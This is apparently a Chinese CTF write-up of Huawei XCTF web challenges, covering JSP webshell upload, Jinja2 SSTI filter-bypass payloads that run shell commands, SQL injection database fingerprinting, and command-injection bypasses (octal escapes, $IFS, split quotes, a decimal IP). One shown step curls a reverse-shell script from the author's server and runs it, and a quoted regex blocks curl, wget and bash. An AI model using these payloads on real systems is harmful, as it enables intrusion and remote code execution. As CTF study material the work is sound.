0%

[XCTF]华为第一场

[XCTF]华为第一场

等我下午吃完饭去看题的时候,web差不多已经被师傅ak了,开始开心看题划水

webshell_1

文件上传功能,传上去之后会发现后缀自动变jsp,需要传一个jsp的shell上去,但是好像有一定的过滤,完全不会jsp,网上搜的两个马都不能用,等会再说
一开始好像队友直接传了个网上的马就打通了,但是后来写wp复现的时候又打不通了
最后先上传了个读文件看了看waf,结果来了这么一句 URLConnection connection = new URL("http://hids.normalbe.com:8765/upload/jsp").openConnection();意思是waf还是在线找的接口?
然后重新构造打过去了(但是我还是不会)

mine1_1

简单扫雷游戏,先认真玩通关,会到一个success路由,有一个get参数msg,测一下ssti,1-1可变为0,过滤了__'"[],不算多,不过感觉同时ban了下划线和方括号还挺难搞的
znj师傅使用了经典joiner操作配合request打通,request.args接受get参数,request.values接受post参数,request.cookies接受cookie
记一下payload


{{joiner|attr(request.cookies.a)|attr(request.cookies.b)|attr(request.cookies.d)(request.cookies.c)|attr(request.cookies.d)(request.cookies.e)(request.cookies.f)}}

attr()函数的作用是获取值,|就是管道符,这一串就等价于joiner[request.cookies.a][xxxxx]...
然后在cookie里面填payload,完全不受过滤影响,想干什么干什么了
不过还是记一下完整payload,毕竟我对SSTI的认知还停留在抄payload阶段
joiner.__init__.__globals__.__builtins__.__getitem__.eval.__import__('os').popen('cat f*').read()

mine2

1的加强版,但是attr()|整个组合是真的无敌
attr里面的参数完全可以用字符串各种拼接绕过,使用超级格式化字符串绕过字符限制
("%c"%(95))这个样子取得下划线,95可以改成任意数字进行任意绕过,还能支持字符串加法拼接
还是也抄一下payload,虽然题是云的但是答案还是抄下来


{%print%0djoiner|attr(("%c"%(95))%2b("%c"%(95))%2b"init"%2b("%c"%(95))%2b("%c"%(95)))|attr(("%c"%(95))%2b("%c"%(95)%2b("%c"%(103)))%2b"lobals"%2b("%c"%(95))%2b("%c"%(95)))|attr(("%c"%(95))%2b("%c"%(95)%2b("%c"%(103)))%2b"etitem"%2b("%c"%(95))%2b("%c"%(95)))((("%c"%(95))%2b("%c"%(95))%2b("%c"%(98))%2b("%c"%(117)))%2b"iltins"%2b(("%c"%(95))%2b("%c"%(95))))|attr(("%c"%(95))%2b("%c"%(95)%2b("%c"%(103)))%2b"etitem"%2b("%c"%(95))%2b("%c"%(95)))((("%c"%(95))%2b("%c"%(95)))%2b"impo"%2b("%c"%(114))%2b"t"%2b(("%c"%(95))%2b("%c"%(95))))("os")|attr("popen")(("%c"%(99))%2b("%c"%(97))%2b("%c"%(116))%2b("%c"%(32))%2b("%c"%(102))%2b("%c"%(42)))|attr("read")()%}

update

看了venom的wp,他们直接使用\xff这种十六进制字符就直接绕了,不必项我们这么格式化字符串大费周章,不过还是都记一下

pyer

登录,密码那里测半天没反应,用户名那里输引号后500,用注释符之后恢复正常,万能密码登录失败
给人的感觉就是上次嘶吼的那个整数溢出注入,然后再把用户名密码进行一个写死的登录(试了下sleep()时间盲注,但是sleep用了就500,怀疑是没这个函数)

数据库类型判断

学一手新知识,如何判断数据库的类型
常见SQL也就MySQL,sqlite,pgsql,后面这几个应该也很多但是做题遇不到。。。mongodb、Access、MSsql(就是SQL server)

注释符

mysql能用#作为注释符,而sqlite则不行,#注释打不通但–打得通就必然不是MySQL

函数

sqlite和pgsql的sleep函数都不直接叫sleep(sqlite好像没有sleep函数),mysql的sleep函数就叫sleep
还可以直接执行sqlite_version()看出不出问题直接确认是不是sqlite

类型转换

pgsql不会自动进行类型转换,所以像or '1'这种语句就会直接报错,而不是转换成数字之后继续查询

题解

发现了这点之后就是个整数溢出盲注,打穿了之后又是一个SSTI,云了,就看了一眼,好像注入和SSTI过滤都不严

cloud

队友扫目录发现了robots.txt
robots.txt里面有一个/static/.git/目录访问无果,404,访问static目录403,但显示使用的是beego 1.12.2这个框架
翻了一遍全是静态,再扫一波,扫出来一个admin.html和admin路由,admin.html里面藏了一个发送到admin路由的登录表单,怎么还能扫出来一个phpinfo.php的呢。。。里面还是个PHP7的phpinfo
开始注入
注入结束,admin admin就能登进去,给了一份源码和一个路由
go源码不太会,下下来的这个文件居然可以改后缀为tar之后解压缩出来,不过里面的内容本身就是明文可以直接看,解压缩出来之后还是有条理一点,能看到一些整个看不到的文件,但是还是不会go

HIDS

这个题是认真看的,学到一点东西

直接命令执行,就是过滤了一万个字符
rmb神仙教会了我新操作,不知道过滤了什么字符的时候直接进行一个全字符的fuzz,看看有哪些能用再思考对策
fuzz结果为"$()0123456789;>ABCDEFGHIJKLMNOPQRSTUVWXYZ\abcdefghijklmnopqrstuvwxyz
特殊字符仅有$()\;>
$(cmd)这种形式约等于反引号,$IFS作为占位符代替空格,cd$IFS$(ls);cat$IFS$(ls$IFS$(ls))可以拿到web目录下的app.py,源码

from flask import Flask
from flask import render_template, request
import subprocess, re

app = Flask(__name__)


@app.route('/', methods=['GET'])
def index():
    return render_template('index.html')


@app.route('/run', methods=['POST'])
def run():
    cmd = request.form.get("cmd")
    if re.search(r'''[^0-9a-zA-Z">\\\$();]''', cmd):
        return 'Hacker!'
    if re.search(r'''ping|wget|curl|bash|perl|python|php|kill|ps''', cmd):
        return 'Hacker!'
    p = subprocess.Popen(cmd, stderr=subprocess.STDOUT, stdout=subprocess.PIPE, shell=True, close_fds=True)
    try:
        (msg, errs) = p.communicate(timeout=5)
        return msg
    except Exception as e:
        return 'Error!'


app.run(host='0.0.0.0', port='5000')

没什么东西,比fuzz结果多过滤了几个单词

shell小技巧

我连这都不知道,实属愚蠢的一匹
$v会直接使命令行执行v的值,如下

lzx@ubuntu:~/Desktop$ a=ls
lzx@ubuntu:~/Desktop$ $a
c-jwt-cracker-master  homework_OS      ping.php  test.php
cookie_crash.rb       php_mt_seed-4.0  test

而$(cmd)就会把cmd执行的结果输入到命令行,也就等价于反引号,现在想起来才发现,我太垃圾了

sh特性

从报错中可以得知执行命令的shell是/bin/sh,一般来说这是一个软链接,链接到/bin/dash
本地测试发现其可以解析八进制,也就是可以使用八进制绕过一切,基本上约等于任意命令执行
但是只有在引号里的八进制才能被解析成字符,而引号又会转义绝大多数的元字符,弹shell中使用的>&等字符就被转义了,还是不能一个语句打穿
不过幸好留了一个>,可以写文件,而$()能嵌套,最终导致任意文件写,再让shell去执行就可以了
$($(echo “cmd”)>$(echo “filepath”))
等价于cmd>filepath,而cmd和filepath又全都是在引号里面,echo出来的,所以可以使用八进制绕过一切大法打通

垃圾zsh

本地测试的时候一开始用的zsh(因为比较酷炫),然后发现zsh啥特性都没有,$IFS占位符都不能替代空格,八进制绕过什么的都不存在,切到最原始的sh之后应有尽有,bash也只能用用$IFS,没有神奇八进制绕过
bash可以十六进制绕过,dash使用八进制时只需\111这种格式即可,而bash则需要\x11这种格式

神仙的神仙做法

神仙就是神仙啊,碾压我秒杀垃圾题目

trick1-引号打断

这个倒不算特别稀奇,之前也就学会了这个点,Linux引号不打断输入,只是作为转义元字符的符号,所以”cu””rl”这样子的命令也是能执行的

trick-2 IP的十进制表示

这个操作我是有所耳闻的,这样子就直接绕过ip中.不在可用字符中的限制,我太垃圾了,学过的东西也应用不起来
然后$("cu""rl"$IFS"795315244")在自己vps上放一个弹shell语句,curl取回的结果直接执行,$IFS占位符代替空格,一键打通,太牛逼了

something about $IFS

感觉没有想象中一个占位符那么简单,比如$IFS后如果直接接东西的话,如何辨别这个变量名到底是$IFS还是$IFSxx呢,目前测试的结果是$IFSxx后面的内容会被忽略掉,空格分号引号管道符之类的都能用来分隔

语义分析

有一瞬间感觉直接输入数字输入的参数就是数字,带了引号之后就变成字符串了。。。。我着实是个憨批,输入参数必然是当字符串用的啊,而引号也只不过是个范围转义罢了,不要想太多
语义分析语义分析